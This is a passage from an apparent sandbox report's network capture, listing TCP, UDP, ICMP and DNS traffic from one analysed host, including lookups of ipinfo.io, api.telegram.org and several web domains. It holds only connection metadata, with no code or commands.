Mar 10, 2025 13:51:43.148698092 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.148746967 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.148773909 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.148813963 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.157459021 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.157479048 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.157552004 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.157586098 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.157629967 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.167239904 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.167254925 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.167319059 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.167351007 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.167407036 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.179609060 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.179631948 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.179675102 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.179712057 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.179732084 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.179750919 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.186655998 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.186669111 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.186731100 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.186763048 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.186805010 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.205133915 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.205184937 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.205210924 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.205249071 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.205270052 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.205287933 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.218434095 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.218451023 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.218513012 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.218547106 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.218585968 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.230192900 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.230206013 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.230279922 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.230313063 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.230354071 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.239249945 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.239276886 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.239312887 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.239336967 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.239370108 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.239387035 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.250197887 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.250212908 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.250277042 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.250305891 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.250349045 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.257961035 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.257985115 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.258019924 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.258038044 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.258059025 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.258059025 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.258100033 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.258166075 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.258188009 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.258202076 CET	60667	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.258208990 CET	443	60667	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.396500111 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.396547079 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.396610022 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.396763086 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.396776915 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.399209976 CET	60670	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.399272919 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.399353027 CET	60670	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.399672031 CET	60670	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:43.399703979 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:43.991537094 CET	443	60668	40.113.110.67	192.168.2.25
Mar 10, 2025 13:51:43.991817951 CET	60668	443	192.168.2.25	40.113.110.67
Mar 10, 2025 13:51:43.993854046 CET	60668	443	192.168.2.25	40.113.110.67
Mar 10, 2025 13:51:43.993870020 CET	443	60668	40.113.110.67	192.168.2.25
Mar 10, 2025 13:51:43.994645119 CET	443	60668	40.113.110.67	192.168.2.25
Mar 10, 2025 13:51:44.039014101 CET	60668	443	192.168.2.25	40.113.110.67
Mar 10, 2025 13:51:44.951201916 CET	60672	80	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:44.951447010 CET	60673	80	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:44.956573963 CET	80	60672	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:44.956840992 CET	80	60673	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:44.956932068 CET	60672	80	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:44.960182905 CET	60673	80	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:44.993828058 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:44.993865013 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:44.994813919 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:44.995136976 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:44.995150089 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:45.447133064 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.447771072 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.447787046 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.448340893 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.448347092 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.508821964 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.509509087 CET	60670	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.509531021 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.509783983 CET	60670	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.509789944 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.932703018 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.932754040 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.932810068 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.932821035 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.932871103 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.933140039 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.933161020 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.933175087 CET	60669	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.933181047 CET	443	60669	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.989048004 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.989105940 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.989268064 CET	60670	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.989451885 CET	60670	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.989466906 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:45.989480019 CET	60670	443	192.168.2.25	13.107.253.67
Mar 10, 2025 13:51:45.989485025 CET	443	60670	13.107.253.67	192.168.2.25
Mar 10, 2025 13:51:46.976639032 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:46.980083942 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:46.980096102 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:46.981076956 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:46.981137037 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:46.983345985 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:46.983396053 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:46.983527899 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:46.983531952 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:47.007512093 CET	60668	443	192.168.2.25	40.113.110.67
Mar 10, 2025 13:51:47.007927895 CET	60668	443	192.168.2.25	40.113.110.67
Mar 10, 2025 13:51:47.007932901 CET	443	60668	40.113.110.67	192.168.2.25
Mar 10, 2025 13:51:47.008136034 CET	60668	443	192.168.2.25	40.113.110.67
Mar 10, 2025 13:51:47.039940119 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:47.052314043 CET	443	60668	40.113.110.67	192.168.2.25
Mar 10, 2025 13:51:47.419038057 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:47.431556940 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:47.431633949 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:47.448760986 CET	443	60668	40.113.110.67	192.168.2.25
Mar 10, 2025 13:51:47.452143908 CET	443	60668	40.113.110.67	192.168.2.25
Mar 10, 2025 13:51:47.452195883 CET	60668	443	192.168.2.25	40.113.110.67
Mar 10, 2025 13:51:47.452811003 CET	60668	443	192.168.2.25	40.113.110.67
Mar 10, 2025 13:51:47.452825069 CET	443	60668	40.113.110.67	192.168.2.25
Mar 10, 2025 13:51:47.471564054 CET	60674	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:47.471585989 CET	443	60674	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:47.608325005 CET	60675	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:47.608371973 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:47.608441114 CET	60675	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:47.609554052 CET	60675	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:47.609568119 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:48.276437044 CET	443	60663	172.217.18.4	192.168.2.25
Mar 10, 2025 13:51:48.276515007 CET	443	60663	172.217.18.4	192.168.2.25
Mar 10, 2025 13:51:48.276576996 CET	60663	443	192.168.2.25	172.217.18.4
Mar 10, 2025 13:51:48.323587894 CET	60663	443	192.168.2.25	172.217.18.4
Mar 10, 2025 13:51:48.323609114 CET	443	60663	172.217.18.4	192.168.2.25
Mar 10, 2025 13:51:49.644301891 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:49.644771099 CET	60675	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:49.644798994 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:49.645109892 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:49.645554066 CET	60675	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:49.645607948 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:49.645726919 CET	60675	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:49.688323021 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:50.096522093 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:50.116446972 CET	443	60675	141.193.213.21	192.168.2.25
Mar 10, 2025 13:51:50.116676092 CET	60675	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:50.117413998 CET	60675	443	192.168.2.25	141.193.213.21
Mar 10, 2025 13:51:50.117432117 CET	443	60675	141.193.213.21	192.168.2.25

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 13:50:27.570250034 CET	137	137	192.168.2.25	192.168.2.255
Mar 10, 2025 13:50:28.330543995 CET	137	137	192.168.2.25	192.168.2.255
Mar 10, 2025 13:50:29.096134901 CET	137	137	192.168.2.25	192.168.2.255
Mar 10, 2025 13:50:32.669850111 CET	53	57700	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:32.691274881 CET	53	51043	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:35.335664034 CET	53	64374	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:35.412810087 CET	53	63313	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:36.556456089 CET	59639	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:36.556750059 CET	63175	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:36.564707041 CET	53	59639	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:36.565551996 CET	53	63175	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:37.535221100 CET	58172	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:37.535370111 CET	51222	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:37.548783064 CET	53	58172	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:37.549921989 CET	53	51222	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.155373096 CET	63056	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.155550957 CET	62795	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.156127930 CET	53	58707	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.156724930 CET	57770	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.156977892 CET	62108	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.157552004 CET	60001	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.157716036 CET	56432	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.158104897 CET	51615	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.158258915 CET	64288	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.158559084 CET	63783	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.158709049 CET	57039	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:42.163201094 CET	53	62795	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.163213015 CET	53	63056	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.164087057 CET	53	62692	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.166111946 CET	53	57770	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.166122913 CET	53	62108	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.166131973 CET	53	60001	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.166141033 CET	53	51615	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.166148901 CET	53	64288	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.166157961 CET	53	56432	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.166167021 CET	53	57039	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:42.168081045 CET	53	63783	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:46.733449936 CET	63667	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:46.733575106 CET	54011	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:46.741142035 CET	53	54011	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:46.741153002 CET	53	63667	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:46.741550922 CET	53	58136	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:46.748734951 CET	63185	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:46.748857021 CET	59019	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:46.755801916 CET	53	63185	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:46.756123066 CET	53	59019	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:47.446378946 CET	61970	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:47.446554899 CET	49247	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:47.455759048 CET	53	61970	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:47.456377029 CET	53	49247	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:47.481215954 CET	60691	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:47.481359005 CET	58164	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:50:47.488737106 CET	53	60691	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:47.489651918 CET	53	58164	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:52.377872944 CET	53	52774	1.1.1.1	192.168.2.25
Mar 10, 2025 13:50:56.422983885 CET	53	53566	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:01.455492020 CET	53	49742	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:10.577374935 CET	51848	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:10.577514887 CET	55423	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:10.584750891 CET	53	51848	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:10.584793091 CET	53	55423	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:12.935044050 CET	52537	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:12.935157061 CET	62469	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:12.939093113 CET	65095	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:12.939223051 CET	56990	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:12.942126036 CET	53	52537	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:12.942553997 CET	53	62469	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:12.946579933 CET	53	56990	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:12.946806908 CET	53	65095	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:15.266289949 CET	58738	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:15.266433001 CET	51824	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:15.267308950 CET	64405	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:15.267438889 CET	64896	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:15.273355007 CET	53	58738	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:15.274686098 CET	53	64405	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:15.274920940 CET	53	64896	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:15.287681103 CET	53	51824	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:17.848406076 CET	61228	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:17.848804951 CET	55876	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:17.855705023 CET	53	61228	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:17.856154919 CET	53	55876	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:31.924808025 CET	53	56061	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:36.655507088 CET	58528	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:36.656167030 CET	53896	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:36.662604094 CET	53	58528	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:36.663342953 CET	53	53896	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:44.915877104 CET	57985	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:44.916008949 CET	58700	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:44.930423021 CET	52156	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:44.930553913 CET	64674	53	192.168.2.25	1.1.1.1
Mar 10, 2025 13:51:44.933037043 CET	53	57985	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:44.952167988 CET	53	58700	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:44.977140903 CET	53	52156	1.1.1.1	192.168.2.25
Mar 10, 2025 13:51:45.078074932 CET	53	64674	1.1.1.1	192.168.2.25

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 10, 2025 13:51:15.287750006 CET	192.168.2.25	1.1.1.1	c24a	(Port unreachable)	Destination Unreachable
Mar 10, 2025 13:51:44.956223011 CET	192.168.2.25	1.1.1.1	c255	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 10, 2025 13:50:36.556456089 CET	192.168.2.25	1.1.1.1	0x1611	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:36.556750059 CET	192.168.2.25	1.1.1.1	0x23c0	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:37.535221100 CET	192.168.2.25	1.1.1.1	0xd8db	Standard query (0)	kwikkopyegypt.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:37.535370111 CET	192.168.2.25	1.1.1.1	0x7022	Standard query (0)	kwikkopyegypt.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:42.155373096 CET	192.168.2.25	1.1.1.1	0xde1	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.155550957 CET	192.168.2.25	1.1.1.1	0xab1	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:42.156724930 CET	192.168.2.25	1.1.1.1	0x8a4c	Standard query (0)	kit.fontawesome.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.156977892 CET	192.168.2.25	1.1.1.1	0x2479	Standard query (0)	kit.fontawesome.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:42.157552004 CET	192.168.2.25	1.1.1.1	0x717b	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.157716036 CET	192.168.2.25	1.1.1.1	0x7253	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:42.158104897 CET	192.168.2.25	1.1.1.1	0xdfce	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.158258915 CET	192.168.2.25	1.1.1.1	0x46cc	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:42.158559084 CET	192.168.2.25	1.1.1.1	0xe86d	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.158709049 CET	192.168.2.25	1.1.1.1	0x11da	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:46.733449936 CET	192.168.2.25	1.1.1.1	0x336d	Standard query (0)	logo.clearbit.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:46.733575106 CET	192.168.2.25	1.1.1.1	0x79f4	Standard query (0)	logo.clearbit.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:46.748734951 CET	192.168.2.25	1.1.1.1	0x3914	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:46.748857021 CET	192.168.2.25	1.1.1.1	0x7892	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 10, 2025 13:50:47.446378946 CET	192.168.2.25	1.1.1.1	0x8536	Standard query (0)	image.thum.io	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:47.446554899 CET	192.168.2.25	1.1.1.1	0x281b	Standard query (0)	image.thum.io	65	IN (0x0001)	false
Mar 10, 2025 13:50:47.481215954 CET	192.168.2.25	1.1.1.1	0x64a4	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:47.481359005 CET	192.168.2.25	1.1.1.1	0x5dd5	Standard query (0)	ka-f.fontawesome.com	65	IN (0x0001)	false
Mar 10, 2025 13:51:10.577374935 CET	192.168.2.25	1.1.1.1	0xb65	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:10.577514887 CET	192.168.2.25	1.1.1.1	0xfecc	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Mar 10, 2025 13:51:12.935044050 CET	192.168.2.25	1.1.1.1	0xf7d4	Standard query (0)	dns.google	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:12.935157061 CET	192.168.2.25	1.1.1.1	0x21ee	Standard query (0)	dns.google	65	IN (0x0001)	false
Mar 10, 2025 13:51:12.939093113 CET	192.168.2.25	1.1.1.1	0xf762	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:12.939223051 CET	192.168.2.25	1.1.1.1	0x5c55	Standard query (0)	ipinfo.io	65	IN (0x0001)	false
Mar 10, 2025 13:51:15.266289949 CET	192.168.2.25	1.1.1.1	0x7588	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:15.266433001 CET	192.168.2.25	1.1.1.1	0x433f	Standard query (0)	api.telegram.org	65	IN (0x0001)	false
Mar 10, 2025 13:51:15.267308950 CET	192.168.2.25	1.1.1.1	0xd3a7	Standard query (0)	dns.google	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:15.267438889 CET	192.168.2.25	1.1.1.1	0x26f9	Standard query (0)	dns.google	65	IN (0x0001)	false
Mar 10, 2025 13:51:17.848406076 CET	192.168.2.25	1.1.1.1	0x50d5	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:17.848804951 CET	192.168.2.25	1.1.1.1	0x2d36	Standard query (0)	api.telegram.org	65	IN (0x0001)	false
Mar 10, 2025 13:51:36.655507088 CET	192.168.2.25	1.1.1.1	0x8012	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:36.656167030 CET	192.168.2.25	1.1.1.1	0xe35f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 10, 2025 13:51:44.915877104 CET	192.168.2.25	1.1.1.1	0xc564	Standard query (0)	www.southwark.anglican.org	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:44.916008949 CET	192.168.2.25	1.1.1.1	0x942c	Standard query (0)	www.southwark.anglican.org	65	IN (0x0001)	false
Mar 10, 2025 13:51:44.930423021 CET	192.168.2.25	1.1.1.1	0x61ac	Standard query (0)	www.southwark.anglican.org	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:44.930553913 CET	192.168.2.25	1.1.1.1	0x9a8	Standard query (0)	www.southwark.anglican.org	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 10, 2025 13:50:36.564707041 CET	1.1.1.1	192.168.2.25	0x1611	No error (0)	www.google.com		142.250.184.196	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:36.565551996 CET	1.1.1.1	192.168.2.25	0x23c0	No error (0)	www.google.com			65	IN (0x0001)	false
